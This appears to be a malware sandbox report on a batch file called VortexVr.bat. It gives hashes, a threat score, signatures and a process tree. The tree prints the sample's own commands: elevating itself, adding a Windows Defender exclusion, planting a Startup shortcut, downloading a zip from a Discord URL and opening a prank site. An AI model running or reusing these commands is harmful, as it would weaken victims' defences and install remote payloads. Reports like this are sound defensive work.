666d920bddf08df8adee4e9b7fa01616f367ff282a952a48d3b09a247fbc49de

Analysis

user interaction
yes
max time kernel
66s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
05/08/2026, 17:25

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
VortexVr.bat
Size 14KB
Sample260805-vza84asalg
SHA256 666d920bddf08df8adee4e9b7fa01616f367ff282a952a48d3b09a247fbc49de
MD5 534fdd5dba89f581df34951ed3786e3b
SHA1 303bd64910111db7973906679466725325a7ca44
SHA512 7588c623bcda4d14fa3370a081593eb212b58f8afe182e0939a8c3fc1cf1fac2bedc73b9ae723bfc385d2eee58a98c4503abdb16d05273ad4b3cffa2e87de01d
SSDEEP 192:+clGDkkDkIP8DLnDsDpZ2Ddv/DkkDkIP8DLnDsDpZ2Ddv/DkkDkIP8DLnDsDpZ2+:NGvwI035xvwI035xvwI035xvwI035H+8
TLSH
T11262DF097384E189CBEDA2EDCAD3B945D50759211388CC56F24BA8C763FC70B71AEC5A
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery execution persistence privilege_escalation

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
8	1456	powershell.exe
32	1456	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 25 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
732	powershell.exe
7452	powershell.exe
6584	powershell.exe
5840	powershell.exe
5836	powershell.exe
5444	powershell.exe
1012	powershell.exe
1564	powershell.exe
64	powershell.exe
7024	powershell.exe
7412	powershell.exe
6976	powershell.exe
5944	powershell.exe
6132	powershell.exe
6988	powershell.exe
5924	powershell.exe
1516	powershell.exe
1648	powershell.exe
6516	powershell.exe
7868	powershell.exe
3396	powershell.exe
5844	powershell.exe
7976	powershell.exe
3964	powershell.exe
1456	powershell.exe

Creates a file in the Startup directory 1 TTPs 1 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VortexVr.lnk	powershell.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4604	cmd.exe
3188	cmd.exe

System Time Discovery 1 TTPs 3 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4488	chrome.exe
3624	chrome.exe
5352	msedge.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
1680	powershell.exe
1680	powershell.exe
732	powershell.exe
732	powershell.exe
1648	powershell.exe
1648	powershell.exe
1456	powershell.exe
1456	powershell.exe
1012	powershell.exe
1012	powershell.exe
1564	powershell.exe
1564	powershell.exe
1564	powershell.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
64	powershell.exe
64	powershell.exe
64	powershell.exe
6516	powershell.exe
6516	powershell.exe
6516	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
2020	msedge.exe
2020	msedge.exe
2020	msedge.exe
2020	msedge.exe

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	1680	powershell.exe
Token: SeDebugPrivilege	732	powershell.exe
Token: SeDebugPrivilege	1648	powershell.exe
Token: SeDebugPrivilege	1456	powershell.exe
Token: SeDebugPrivilege	1012	powershell.exe
Token: SeDebugPrivilege	1564	powershell.exe
Token: SeShutdownPrivilege	1860	chrome.exe
Token: SeCreatePagefilePrivilege	1860	chrome.exe
Token: SeDebugPrivilege	64	powershell.exe
Token: SeShutdownPrivilege	1860	chrome.exe
Token: SeCreatePagefilePrivilege	1860	chrome.exe
Token: SeShutdownPrivilege	1860	chrome.exe
Token: SeCreatePagefilePrivilege	1860	chrome.exe
Token: SeShutdownPrivilege	1860	chrome.exe
Token: SeCreatePagefilePrivilege	1860	chrome.exe
Token: SeShutdownPrivilege	1860	chrome.exe
Token: SeCreatePagefilePrivilege	1860	chrome.exe
Token: SeShutdownPrivilege	1860	chrome.exe
Token: SeCreatePagefilePrivilege	1860	chrome.exe
Token: SeShutdownPrivilege	1860	chrome.exe
Token: SeCreatePagefilePrivilege	1860	chrome.exe
Token: SeDebugPrivilege	6516	powershell.exe

Suspicious use of FindShellTrayWindow 37 IoCs

pid	Process
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
2020	msedge.exe
2020	msedge.exe
1860	chrome.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe
1860	chrome.exe

Suspicious use of WriteProcessMemory 60 IoCs

description	pid	Process	procid_target
PID 4604 wrote to memory of 1680	4604	cmd.exe	84
PID 1680 wrote to memory of 3188	1680	powershell.exe	85
PID 3188 wrote to memory of 732	3188	cmd.exe	87
PID 3188 wrote to memory of 1648	3188	cmd.exe	88
PID 3188 wrote to memory of 1456	3188	cmd.exe	90
PID 3188 wrote to memory of 1012	3188	cmd.exe	110
PID 3188 wrote to memory of 560	3188	cmd.exe	112
PID 3188 wrote to memory of 1860	3188	cmd.exe	113
PID 3188 wrote to memory of 1564	3188	cmd.exe	115
PID 1860 wrote to memory of 1832	1860	chrome.exe	114
PID 1860 wrote to memory of 1480	1860	chrome.exe	117
PID 1860 wrote to memory of 1480	1860	chrome.exe	117
PID 1860 wrote to memory of 3624	1860	chrome.exe	118
PID 1860 wrote to memory of 452	1860	chrome.exe	120
PID 1860 wrote to memory of 452	1860	chrome.exe	120
PID 1860 wrote to memory of 668	1860	chrome.exe	121
PID 1860 wrote to memory of 668	1860	chrome.exe	121
PID 1860 wrote to memory of 1108	1860	chrome.exe	122
PID 1860 wrote to memory of 1108	1860	chrome.exe	122
PID 1860 wrote to memory of 4680	1860	chrome.exe	123
PID 1860 wrote to memory of 4680	1860	chrome.exe	123
PID 1860 wrote to memory of 1192	1860	chrome.exe	124
PID 1860 wrote to memory of 1192	1860	chrome.exe	124
PID 3188 wrote to memory of 232	3188	cmd.exe	125
PID 3188 wrote to memory of 2020	3188	cmd.exe	126
PID 3188 wrote to memory of 64	3188	cmd.exe	127
PID 2020 wrote to memory of 2260	2020	msedge.exe	128
PID 2020 wrote to memory of 5352	2020	msedge.exe	129
PID 2020 wrote to memory of 5368	2020	msedge.exe	130
PID 2020 wrote to memory of 5368	2020	msedge.exe	130
PID 2020 wrote to memory of 5368	2020	msedge.exe	130
PID 2020 wrote to memory of 5460	2020	msedge.exe	131
PID 2020 wrote to memory of 5460	2020	msedge.exe	131
PID 2020 wrote to memory of 5536	2020	msedge.exe	132
PID 2020 wrote to memory of 5536	2020	msedge.exe	132
PID 2020 wrote to memory of 5544	2020	msedge.exe	133
PID 2020 wrote to memory of 5536	2020	msedge.exe	132
PID 2020 wrote to memory of 5544	2020	msedge.exe	133
PID 2020 wrote to memory of 5544	2020	msedge.exe	133
PID 2020 wrote to memory of 5676	2020	msedge.exe	135
PID 2020 wrote to memory of 5668	2020	msedge.exe	134
PID 2020 wrote to memory of 5676	2020	msedge.exe	135
PID 2020 wrote to memory of 5676	2020	msedge.exe	135
PID 2020 wrote to memory of 5668	2020	msedge.exe	134
PID 2020 wrote to memory of 5668	2020	msedge.exe	134
PID 2020 wrote to memory of 5984	2020	msedge.exe	138
PID 2020 wrote to memory of 5984	2020	msedge.exe	138
PID 2020 wrote to memory of 6088	2020	msedge.exe	139
PID 2020 wrote to memory of 6088	2020	msedge.exe	139
PID 2020 wrote to memory of 5348	2020	msedge.exe	141
PID 2020 wrote to memory of 5480	2020	msedge.exe	142
PID 2020 wrote to memory of 5348	2020	msedge.exe	141
PID 2020 wrote to memory of 5480	2020	msedge.exe	142
PID 2020 wrote to memory of 6224	2020	msedge.exe	143
PID 2020 wrote to memory of 6224	2020	msedge.exe	143
PID 3188 wrote to memory of 6484	3188	cmd.exe	145
PID 3188 wrote to memory of 6508	3188	cmd.exe	146
PID 3188 wrote to memory of 6516	3188	cmd.exe	147
PID 6508 wrote to memory of 6532	6508	firefox.exe	148
PID 6508 wrote to memory of 6532	6508	firefox.exe	148

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\VortexVr.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4604
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell start -verb runas 'C:\Users\Admin\AppData\Local\Temp\VortexVr.bat' am_admin
  2⤵
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1680
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\VortexVr.bat" am_admin
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3188
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:732
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "$WshShell = New-Object -comObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VortexVr.lnk'); $Shortcut.TargetPath = 'C:\Users\Admin\AppData\Local\Temp\VortexVr.bat'; $Shortcut.Save()"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Creates a file in the Startup directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1648
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Invoke-WebRequest -Uri 'https://cdn.discordapp.com/attachments/1525892269998342266/1534603983258124440/salinewin1.5.zip?ex=6a74bad5&is=6a736955&hm=84f34adc57da4aa5369e1a31b453006881d1d32904fd2885296be589ea1b674a&' -OutFile 'C:\Users\Admin\Downloads\file.zip'"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1456
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Force -Path 'C:\Users\Admin\Downloads\salinewin1.5.zip' -DestinationPath 'C:\Users\Admin\Downloads\ExtractedFiles'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1012
  - - C:\Windows\system32\where.exe
      where chrome
      4⤵
      PID:560
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of WriteProcessMemory
      PID:1860
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ffb64fbc728,0x7ffb64fbc734,0x7ffb64fbc740
        5⤵
        
        PID:1832
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1676,i,9736908764746218011,14162593522979885654,262144 --field-trial-handle=2004,i,5678481123018751628,13521736776546237914,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2000 /prefetch:2
        5⤵
        
        PID:1480
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2256,i,8905493089432495245,5963818972487163491,524288 --field-trial-handle=2004,i,5678481123018751628,13521736776546237914,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2280 /prefetch:3
        5⤵
        System Time Discovery
        
        PID:3624
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2412,i,9602106105705183798,8480607869355835232,524288 --field-trial-handle=2004,i,5678481123018751628,13521736776546237914,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2812 /prefetch:8
        5⤵
        
        PID:452
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3128,i,17872128728500966025,16138112769144539192,2097152 --field-trial-handle=2004,i,5678481123018751628,13521736776546237914,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3156 /prefetch:1
        5⤵
        
        PID:668
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3132,i,5051492462079290182,17481436807388016276,2097152 --field-trial-handle=2004,i,5678481123018751628,13521736776546237914,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3180 /prefetch:1
        5⤵
        
        PID:1108
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4176,i,14921611354534819185,16737546963258010180,2097152 --field-trial-handle=2004,i,5678481123018751628,13521736776546237914,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4244 /prefetch:2
        5⤵
        
        PID:4680
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --metrics-shmem-handle=4612,i,3991896569537857734,13708479623612164957,524288 --field-trial-handle=2004,i,5678481123018751628,13521736776546237914,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4220 /prefetch:8
        5⤵
        
        PID:1192
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "$wshell = New-Object -ComObject WScript.Shell; $wshell.AppActivate('You are an Idiot'); Start-Sleep -Milliseconds 500; $wshell.SendKeys('{CLICK LEFT, 0, 0}')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1564
  - - C:\Windows\system32\where.exe
      where msedge
      4⤵
      PID:232
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      Enumerates system info in registry
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:2020
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x244,0x248,0x24c,0x240,0x2fc,0x7ffb64dec188,0x7ffb64dec194,0x7ffb64dec1a0
        5⤵
        
        PID:2260
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1868,i,8593105402178080211,16017876144708228267,524288 --field-trial-handle=2336,i,13065757252533151303,6211588843141696573,262144 --variations-seed-version --mojo-platform-channel-handle=2368 /prefetch:3
        5⤵
        System Time Discovery
        
        PID:5352
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1788,i,8891297765061721906,15547671523087088969,262144 --field-trial-handle=2336,i,13065757252533151303,6211588843141696573,262144 --variations-seed-version --mojo-platform-channel-handle=2332 /prefetch:2
        5⤵
        
        PID:5368
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2284,i,4189869941529949933,5624471825367021311,524288 --field-trial-handle=2336,i,13065757252533151303,6211588843141696573,262144 --variations-seed-version --mojo-platform-channel-handle=3124 /prefetch:8
        5⤵
        
        PID:5460
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3492,i,9508940917187958692,13599121149495801912,2097152 --field-trial-handle=2336,i,13065757252533151303,6211588843141696573,262144 --variations-seed-version --mojo-platform-channel-handle=3520 /prefetch:1
        5⤵
        
        PID:5536
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3512,i,1365738501466216384,4929555955609079578,2097152 --field-trial-handle=2336,i,13065757252533151303,6211588843141696573,262144 --variations-seed-version --mojo-platform-channel-handle=3536 /prefetch:1
        5⤵
        
        PID:5544
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4140,i,17760506128183134488,5870298528722809816,2097152 --field-trial-handle=2336,i,13065757252533151303,6211588843141696573,262144 --variations-seed-version --mojo-platform-channel-handle=4304 /prefetch:2
        5⤵
        
        PID:5668
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4128,i,13006966722884012177,4529050739691217888,2097152 --field-trial-handle=2336,i,13065757252533151303,6211588843141696573,262144 --variations-seed-version --mojo-platform-channel-handle=4300 /prefetch:1
        5⤵
        
        PID:5676
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5036,i,17255457083451675547,9304434179619411900,524288 --field-trial-handle=2336,i,13065757252533151303,6211588843141696573,262144 --variations-seed-version --mojo-platform-channel-handle=3884 /prefetch:8
        5⤵
        
        PID:5984
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5208,i,13383218221545615330,6386791498907074557,524288 --field-trial-handle=2336,i,13065757252533151303,6211588843141696573,262144 --variations-seed-version --mojo-platform-channel-handle=5200 /prefetch:8
        5⤵
        
        PID:6088
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5384,i,12657083991727163512,4723880509273040545,524288 --field-trial-handle=2336,i,13065757252533151303,6211588843141696573,262144 --variations-seed-version --mojo-platform-channel-handle=5476 /prefetch:8
        5⤵
        
        PID:5348
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5380,i,11919726472759654896,9276902171837904225,524288 --field-trial-handle=2336,i,13065757252533151303,6211588843141696573,262144 --variations-seed-version --mojo-platform-channel-handle=5352 /prefetch:8
        5⤵
        
        PID:5480
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5768,i,1419574054777045181,4022190378961038493,524288 --field-trial-handle=2336,i,13065757252533151303,6211588843141696573,262144 --variations-seed-version --mojo-platform-channel-handle=5828 /prefetch:8
        5⤵
        
        PID:6224
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5248,i,14682283555213943398,1219294033057009757,524288 --field-trial-handle=2336,i,13065757252533151303,6211588843141696573,262144 --variations-seed-version --mojo-platform-channel-handle=5316 /prefetch:8
        5⤵
        
        PID:5924
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5248,i,14682283555213943398,1219294033057009757,524288 --field-trial-handle=2336,i,13065757252533151303,6211588843141696573,262144 --variations-seed-version --mojo-platform-channel-handle=5316 /prefetch:8
        5⤵
        
        PID:3764
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6756,i,13848808063383686027,11872475301584404311,524288 --field-trial-handle=2336,i,13065757252533151303,6211588843141696573,262144 --variations-seed-version --mojo-platform-channel-handle=6752 /prefetch:8
        5⤵
        
        PID:7296
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
